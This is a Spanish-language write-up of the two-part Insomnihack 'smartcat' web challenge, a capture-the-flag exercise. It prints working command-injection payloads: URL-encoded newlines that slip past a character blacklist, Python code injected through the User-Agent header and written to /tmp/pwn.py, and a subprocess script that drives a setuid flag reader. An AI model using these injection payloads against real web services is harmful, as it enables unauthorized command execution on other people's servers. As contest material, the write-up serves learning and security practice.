Volvemos a la carga con el primer CTF del año, un Insomnihack muy divertido!


Este writeup explicará cómo resolvimos esta prueba web, que estaba dividida en dos partes.





smartcat1:


Entramos al link y nos encontramos esto:


smartcat

Una herramienta que nos permite hacer ping. Lo primero que se nos ocurre es inyección de comandos.. y así fue!

Probamos a concatenar comandos de distintas formas pero había una blacklist de caracteres como "&", ";", "(", "$", "{", etc. e incluso espacios.

Probamos pues a meter otra clase de espacios, saltos de línea, hasta que dimos con ello. Modificamos la petición POST y reenviamos:

dest=localhost%0Avdir

total 8
-rwxr-xr-x 1 ubuntu ubuntu 1036 Jan 13 13:18 index.cgi
drwxr-xr-x 3 root   root   4096 Jan 13 13:06 there

Vemos el propio código de la página y un curioso directorio "there". Hacemos un find para ver que hay:
dest=localhost%0Afind

.
./index.cgi
./there
./there/is
./there/is/your
./there/is/your/flag
./there/is/your/flag/or
./there/is/your/flag/or/maybe
./there/is/your/flag/or/maybe/not
./there/is/your/flag/or/maybe/not/what
./there/is/your/flag/or/maybe/not/what/do
./there/is/your/flag/or/maybe/not/what/do/you
./there/is/your/flag/or/maybe/not/what/do/you/think
./there/is/your/flag/or/maybe/not/what/do/you/think/really
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag

Y finalmente:

dest=localhost%0Acat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag

INS{warm_kitty_smelly_kitty_flush_flush_flush}



smartcat2:


Parte 2! En esta parte teníamos que movernos a /home/smartcat así que tuvimos que tirar de creatividad :P

Había varias maneras de resolver este reto, nosotros lo enfocamos en buscar otra vía de entrada donde no tuviésemos la restricción de la blacklist.

Una manera de saltárselo, es utilizando un truco que recuerda al viejo método de ejecutar código en un LFI vía /proc/self/environ.


Primero, le echamos un ojo al entorno:


dest=localhost%0Aenv

CONTENT_TYPE=application/x-www-form-urlencoded
HTTP_IF_MODIFIED_SINCE=*
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=xx.xx.xxx.xx
QUERY_STRING=
HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0
DOCUMENT_ROOT=/var/www/html
REMOTE_PORT=15841
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
SERVER_SIGNATURE=
Apache/2.4.7 (Ubuntu) Server at xxxxxx Port 80
CONTENT_LENGTH=13 CONTEXT_DOCUMENT_ROOT=/var/www/cgi-bin/ SCRIPT_FILENAME=/var/www/cgi-bin/index.cgi HTTP_HOST=xx.xx.xxx.xx REQUEST_URI=/cgi-bin/index.cgi SERVER_SOFTWARE=Apache/2.4.7 (Ubuntu) HTTP_CONNECTION=keep-alive REQUEST_SCHEME=http PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HTTP_ACCEPT_LANGUAGE=es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 HTTP_REFERER=http://smartcat.insomnihack.ch/cgi-bin/ SERVER_PROTOCOL=HTTP/1.1 HTTP_ACCEPT_ENCODING=gzip, deflate SCRIPT_URI=http://smartcat.insomnihack.ch/cgi-bin/index.cgi SCRIPT_URL=/cgi-bin/index.cgi REQUEST_METHOD=POST SERVER_ADDR=xx.xx.xxx.xx SERVER_ADMIN=webmaster@localhost CONTEXT_PREFIX=/cgi-bin/ PWD=/var/www/cgi-bin SERVER_PORT=80 SCRIPT_NAME=/cgi-bin/index.cgi SERVER_NAME=smartcat.insomnihack.ch

Vemos que printea nuestro User-Agent, con lo cual podremos inyectar en esa variable sin ninguna limitación.

En nuestras primeras pruebas vimos que la web no ejecutaba sh así que decidimos crear un script en python en /tmp donde teníamos permisos de escritura, para más tarde ejecutarlo.

Como necesitamos que no tenga ningun error de sintaxis, hay que escapar el resto de la salida. Para ello, vamos a utilizar las tres comillas simples para cadenas multilínea:

  • La primera variable: CONTENT_TYPE='''
  • El User-Agent: HTTP_USER_AGENT='''; (codigo python); poc='''
  • La última variable: SERVER_NAME='''

Por ejemplo, si queremos listar directorios, nos quedaría este código perfectamente válido sintácticamente:

CONTENT_TYPE='''
HTTP_IF_MODIFIED_SINCE=*
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=xx.xx.xxx.xx
QUERY_STRING=
HTTP_USER_AGENT='''; import os; os.system("vdir /home/smartcat"); shit='''
DOCUMENT_ROOT=/var/www/html
REMOTE_PORT=15841
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
SERVER_SIGNATURE=
Apache/2.4.7 (Ubuntu) Server at xxxxxx Port 80
CONTENT_LENGTH=13 CONTEXT_DOCUMENT_ROOT=/var/www/cgi-bin/ SCRIPT_FILENAME=/var/www/cgi-bin/index.cgi HTTP_HOST=xx.xx.xxx.xx REQUEST_URI=/cgi-bin/index.cgi SERVER_SOFTWARE=Apache/2.4.7 (Ubuntu) HTTP_CONNECTION=keep-alive REQUEST_SCHEME=http PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HTTP_ACCEPT_LANGUAGE=es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 HTTP_REFERER=http://smartcat.insomnihack.ch/cgi-bin/ SERVER_PROTOCOL=HTTP/1.1 HTTP_ACCEPT_ENCODING=gzip, deflate SCRIPT_URI=http://smartcat.insomnihack.ch/cgi-bin/index.cgi SCRIPT_URL=/cgi-bin/index.cgi REQUEST_METHOD=POST SERVER_ADDR=xx.xx.xxx.xx SERVER_ADMIN=webmaster@localhost CONTEXT_PREFIX=/cgi-bin/ PWD=/var/www/cgi-bin SERVER_PORT=80 SCRIPT_NAME=/cgi-bin/index.cgi SERVER_NAME='''

Mientras que con este payload creamos el script en tmp y lo ejecutamos:

dest=localhost%0ACONTENT_TYPE="'''"%0ASERVER_NAME="'''"%0Aenv>/tmp/pwn.py%0Apython

total 16
-rw-r----- 1 root smartcat  337 Jan 15 09:34 flag2
-rwxr-sr-x 1 root smartcat 8951 Jan 15 09:32 readflag

Tenemos la flag pero sin permisos de lectura y un binario readflag con el bit setuid activado, probamos a ejecutarlo:


Almost there... just trying to make sure you can execute arbitrary commands....
Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.
Do not include the quotes. Each part is a different line.

Finalmente, para hacerlo todo desde python, este es nuestro User-Agent:

'''; from subprocess import PIPE, Popen;import time;p=Popen(['/home/smartcat/readflag'],stdin=PIPE);
p.stdin.write("Give me a...\n");time.sleep(2);p.stdin.write("... flag!");shit='''


smartcat2 flag




Hasta el próximo CTF!



xassiz